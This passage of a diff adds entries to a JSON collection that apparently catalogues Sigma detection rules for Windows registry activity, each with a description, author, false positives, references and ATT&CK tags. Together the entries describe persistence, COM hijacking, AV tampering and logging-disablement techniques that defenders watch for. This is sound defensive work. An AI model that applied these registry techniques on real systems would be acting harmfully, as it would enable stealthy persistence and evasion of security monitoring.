"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", + "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ] + }, + "uuid": "c3cefdf4-6703-4e1c-bad8-bf422fc5015a", + "value": "Change Outlook Security Setting in Registry" + }, + { + "description": "Detects potential persistence using Appx DebugPath", + "meta": { + "author": "frack113", + "creation_date": "2022/07/27", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_persistence_appx_debugger.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/", + "https://github.com/rootm0s/WinPwnage", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "df4dc653-1029-47ba-8231-3c44238cc0ae", + "value": "Windows Registry Persistence DebugPath" + }, + { + "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/10", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_persistence_autodial_dll.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", + "https://persistence-info.github.io/Data/autodialdll.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "e6fe26ee-d063-4f5b-b007-39e90aaf50e3", + "value": "Persistence Via AutodialDLL" + }, + { + "description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a supsicious or unsuale location", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/28", + "falsepositive": [ + "Probable legitimate applications. If you find these please add them to an exclusion list" + ], + "filename": "registry_set_persistence_com_hijacking_susp_locations.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "3d968d17-ffa4-4bc0-bfdc-f139de76ce77", + "value": "COM Hijacking For Persistence With Suspicious Locations" + }, + { + "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/09", + "falsepositive": [ + "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for" + ], + "filename": "registry_set_persistence_mycomputer.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "8fbe98a8-8f9d-44f8-aa71-8c572e29ef06", + "value": "Persistence Via MyComputer Key and SubKeys" + }, + { + "description": "Detects potential COM object hijacking leveraging the COM Search Order", + "meta": { + "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, Cédric Hien", + "creation_date": "2020/04/14", + "falsepositive": [ + "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level" + ], + "filename": "registry_set_persistence_search_order.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/", + "https://attack.mitre.org/techniques/T1546/015/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12", + "value": "Windows Registry Persistence COM Search Order Hijacking" + }, + { + "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/22", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_persistence_typed_paths.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/dez_/status/1560101453150257154", + "https://forensafe.com/blogs/typedpaths.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "086ae989-9ca6-4fe7-895a-759c5544f247", + "value": "Persistence Via TypedPaths" + }, + { + "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_policies_associations_tamper.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47", + "value": "Modify Attachment Manager Settings - Associations" + }, + { + "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_policies_attachments_tamper.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a", + "value": "Modify Attachment Manager Settings - Attachments" + }, + { + "description": "Detects that a powershell code is written to the registry as a service.", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_powershell_as_service.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "4a5f5a5e-ac01-474b-9b4e-d61298c9df1d", + "value": "PowerShell as a Service in Registry" + }, + { + "description": "Adds a RUN key that contains a powershell keyword", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/03/17", + "falsepositive": [ + "Legitimate admin or third party scripts" + ], + "filename": "registry_set_powershell_in_run_keys.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry", + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "8d85cf08-bf97-4260-ba49-986a2a65129c", + "value": "Powershell in Windows Run Keys" + }, + { + "description": "Detects the modification of the registry of the currently logged in user to disable PowerShell module logging, script block logging or transcription and script execution logging", + "meta": { + "author": "frack113", + "creation_date": "2022/04/02", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_powershell_logging_disabled.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7", + "value": "PowerShell Logging Disabled" + }, + { + "description": "Detects when a new custom protocole handler is registered", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/05/30", + "falsepositive": [ + "Legitimate applications registering a new custom protocol handler" + ], + "filename": "registry_set_register_custom_protocol_handler.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_register_custom_protocol_handler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "fdbf0b9d-0182-4c43-893b-a1eaab92d085", + "value": "Newly Registered Protocol Handler" + }, + { + "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/24", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_renamed_sysinternals_eula_accepted.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ] + }, + "uuid": "8023f872-3f1d-4301-a384-801889917ab4", + "value": "Usage of Renamed Sysinternals Tools - RegistrySet" + }, + { + "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", + "meta": { + "author": "frack113", + "creation_date": "2022/08/20", + "falsepositive": [ + "Legitimate use of the dll." + ], + "filename": "registry_set_scrobj_dll_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scrobj_dll_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "fe20dda1-6f37-4379-bbe0-a98d400cae90", + "value": "Scrobj.dll COM Hijacking" + }, + { + "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl", + "meta": { + "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", + "creation_date": "2022/05/04", + "falsepositive": [ + "Legitimate use of screen saver" + ], + "filename": "registry_set_scr_file_executed_by_rundll32.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/VakninHai/status/1517027824984547329", + "https://twitter.com/pabraeken/status/998627081360695297", + "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "40b6e656-4e11-4c0c-8772-c1cc6dae34ce", + "value": "ScreenSaver Registry Key Set" + }, + { + "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/04", + "falsepositive": [ + "Administrative scripts", + "Installation of a service" + ], + "filename": "registry_set_servicedll_hijack.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "612e47e9-8a59-43a6-b404-f48683f45bd6", + "value": "ServiceDll Hijack" + }, + { + "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", + "meta": { + "author": "frack113", + "creation_date": "2022/03/18", + "falsepositive": [ + "Legitimate admin script" + ], + "filename": "registry_set_set_nopolicies_user.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "1c3121ed-041b-4d97-a075-07f54f20fb4a", + "value": "Registry Explorer Policy Modification" + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/30", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_shim_databases_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_shim_databases_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.011" + ] + }, + "uuid": "dfb5b4e8-91d0-4291-b40a-e3b0d3942c45", + "value": "Registry Key Creation or Modification for Shim DataBase" + }, + { + "description": "Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/02/26", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_silentprocessexit.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_silentprocessexit.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.012" + ] + }, + "uuid": "c81fe886-cac0-4913-a511-2822d72ff505", + "value": "SilentProcessExit Monitor Registration" + }, + { + "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate SIP being registered by the OS or different software." + ], + "filename": "registry_set_sip_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/codesigning.html", + "https://github.com/gtworek/PSBits/tree/master/SIP", + "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1553.003" + ] + }, + "uuid": "5a2b21ee-6aaa-4234-ac9d-59a59edf90a1", + "value": "Persistence Via New SIP Provider" + }, + { + "description": "Detects tamper attempts to sophos av functionality via registry key modification", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/02", + "falsepositive": [ + "Some FP may occure when the feature is disabled by the AV itself, you should always investigate if the action was legitimate" + ], + "filename": "registry_set_sophos_av_tamaper.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamaper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "9f4662ac-17ca-43aa-8f12-5d7b989d0101", + "value": "Tamper With Sophos AV Registry Keys" + }, + { + "description": "Detects when an attacker set the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" to \"0\" in order to hide user account.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/12", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_special_accounts.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ] + }, + "uuid": "f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd", + "value": "Hide User Account Via Special Accounts Reg Key" + }, + { + "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", + "meta": { + "author": "frack113", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_suppress_defender_notifications.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "0c93308a-3f1b-40a9-b649-57ea1a1c1d63", + "value": "Disable Windows Security Center Notifications" + }, + { + "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/10", + "falsepositive": [ + "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)" + ], + "filename": "registry_set_susp_app_paths_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", + "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_app_paths_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.012" + ] + }, + "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6", + "value": "Suspicious Values In App Paths Default Property" + }, + { + "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/12", + "falsepositive": [ + "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)" + ], + "filename": "registry_set_susp_keyboard_layout_load.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", + "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ] + }, + "uuid": "34aa0252-6039-40ff-951f-939fd6ce47d8", + "value": "Suspicious Keyboard Layout Load" + }, + { + "description": "Detects a suspicious printer driver installation with an empty Manufacturer value", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/01", + "falsepositive": [ + "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value" + ], + "filename": "registry_set_susp_printer_driver.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1410545674773467140", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675" + ] + }, + "uuid": "e0813366-0407-449a-9869-a2db1119dc41", + "value": "Suspicious Printer Driver Empty Manufacturer" + }, + { + "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", + "meta": { + "author": "Florian Roth, oscd.community", + "creation_date": "2018/07/18", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_susp_reg_persist_explorer_run.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "b7916c2a-fa2f-4795-9477-32b731f70f11", + "value": "Registry Persistence via Explorer Run Key" + }, + { + "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", + "meta": { + "author": "Florian Roth, Markus Neis, Sander Wiebing", + "creation_date": "2018/08/25", + "falsepositive": [ + "Software using weird folders for updates" + ], + "filename": "registry_set_susp_run_key_img_folder.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "02ee49e2-e294-4d0f-9278-f5b3212fc588", + "value": "New RUN Key Pointing to Suspicious Folder" + }, + { + "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n", + "meta": { + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "creation_date": "2019/04/08", + "falsepositive": [ + "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it." + ], + "filename": "registry_set_susp_service_installed.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml" + ], + "tags": [ + "attack.t1562.001", + "attack.defense_evasion" + ] + }, + "uuid": "f2485272-a156-4773-82d7-1d178bc4905b", + "value": "Suspicious Service Installed" + }, + { + "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup", + "meta": { + "author": "frack113", + "creation_date": "2022/10/01", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_susp_user_shell_folders.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.001" + ] + }, + "uuid": "9c226817-8dc9-46c2-a58d-66655aafd7dc", + "value": "Modify User Shell Folders Startup Value" + }, + { + "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", + "meta": { + "author": "Syed Hasan (@syedhasan009)", + "creation_date": "2021/06/18", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_taskcache_entry.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://labs.f-secure.com/blog/scheduled-task-tampering/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.t1053.005" + ] + }, + "uuid": "4720b7df-40c3-48fd-bbdf-fd4b3c464f0d", + "value": "Scheduled TaskCache Change by Uncommon Program" + }, + { + "description": "Detects persistence method using windows telemetry", + "meta": { + "author": "Lednyov Alexey, oscd.community", + "creation_date": "2020/10/16", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_telemetry_persistence.yml", + "level": "critical", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005" + ] + }, + "uuid": "73a883d0-0348-4be4-a8d8-51031c2564f8", + "value": "Registry Persistence Mechanism via Windows Telemetry" + }, + { + "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", + "meta": { + "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", + "creation_date": "2022/09/29", + "falsepositive": [ + "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" + ], + "filename": "registry_set_terminal_server_suspicious.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112" + ] + }, + "uuid": "a2863fbc-d5cb-48d5-83fb-d976d4b1743b", + "value": "RDP Sensitive Settings Changed" + }, + { + "description": "Detects tampering to RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc", + "meta": { + "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", + "creation_date": "2022/08/06", + "falsepositive": [ + "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" + ], + "filename": "registry_set_terminal_server_tampering.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112" + ] + }, + "uuid": 